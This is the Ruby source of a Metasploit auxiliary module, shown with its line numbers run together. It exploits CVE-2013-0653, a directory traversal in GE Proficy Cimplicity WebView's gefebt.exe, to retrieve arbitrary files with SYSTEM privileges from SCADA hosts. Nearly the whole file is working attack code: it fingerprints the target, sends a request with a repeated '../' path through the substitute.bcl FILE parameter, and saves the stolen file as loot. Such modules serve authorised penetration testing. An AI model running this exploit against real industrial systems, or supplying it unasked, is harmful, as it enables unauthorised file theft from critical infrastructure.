Path: blob/master/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'uri'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::Tcp9include Msf::Auxiliary::Report1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',16'Description' => %q{17This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the18gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM19privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.20},21'Author' => [22'Unknown', # Vulnerability discovery23'juan vazquez' # Metasploit module24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2013-0653' ],28[ 'OSVDB', '89490' ],29[ 'BID', '57505' ],30[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]31],32'DisclosureDate' => '2013-01-22',33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [IOC_IN_LOGS],36'Reliability' => []37}38)39)4041register_options(42[43Opt::RPORT(80),44OptString.new('TARGETURI', [true, 'Path to CimWeb', '/CimWeb']),45OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),46# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb47OptInt.new('DEPTH', [true, 'Traversal depth', 5])48]49)50end5152def normalize_uri(*strs)53new_str = strs * '/'5455new_str = new_str.gsub!('//', '/') while new_str.index('//')5657# Makes sure there's a starting slash58unless new_str[0, 1] == '/'59new_str = '/' + new_str60end6162new_str63end6465def target_uri66# In case TARGETURI is empty, at least we default to '/'67u = datastore['TARGETURI']68u = '/' if u.nil? || u.empty?69URI(u)70rescue ::URI::InvalidURIError71print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"72raise Msf::OptionValidateError, ['TARGETURI']73end7475def my_basename(filename)76return ::File.basename(filename.gsub('\\', '/'))77end7879def is_proficy?80connect81req = "GET #{normalize_uri(target_uri.path, 'index.html')} HTTP/1.0\r\n\r\n"82sock.put(req)83res = sock.get_once84disconnect8586return false unless res8788res.to_s.include?('gefebt.exe')89end9091# We can't use the http client msf mixin because the Proficy Web server92# return a malformed HTTP response with the file contents, there aren't93# two new lines (but one) between the HTTP headers and the body content.94def read_file(file)95travs = ''96travs << '../' * datastore['DEPTH']97travs << file9899print_status("#{@peer} - Retrieving file contents...")100101connect102req = "GET #{normalize_uri(target_uri.path, 'gefebt.exe')}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"103sock.put(req)104res = sock.get_once105disconnect106107return unless res108109if res =~ %r{HTTP/1\.0 200 OK}110return res111else112return nil113end114end115116def run117@peer = "#{rhost}:#{rport}"118119print_status("#{@peer} - Checking if it's a GE Proficy Application...")120121unless is_proficy?122print_error("#{@peer} - GE proficy not found")123return124end125126print_good("#{@peer} - Check successful")127128contents = read_file(datastore['FILEPATH'])129if contents.nil?130print_error("#{@peer} - File not downloaded")131return132end133134file_name = my_basename(datastore['FILEPATH'])135path = store_loot(136'ge.proficy.traversal',137'application/octet-stream',138rhost,139contents,140file_name141)142print_good("#{rhost}:#{rport} - File saved in: #{path}")143end144end145146147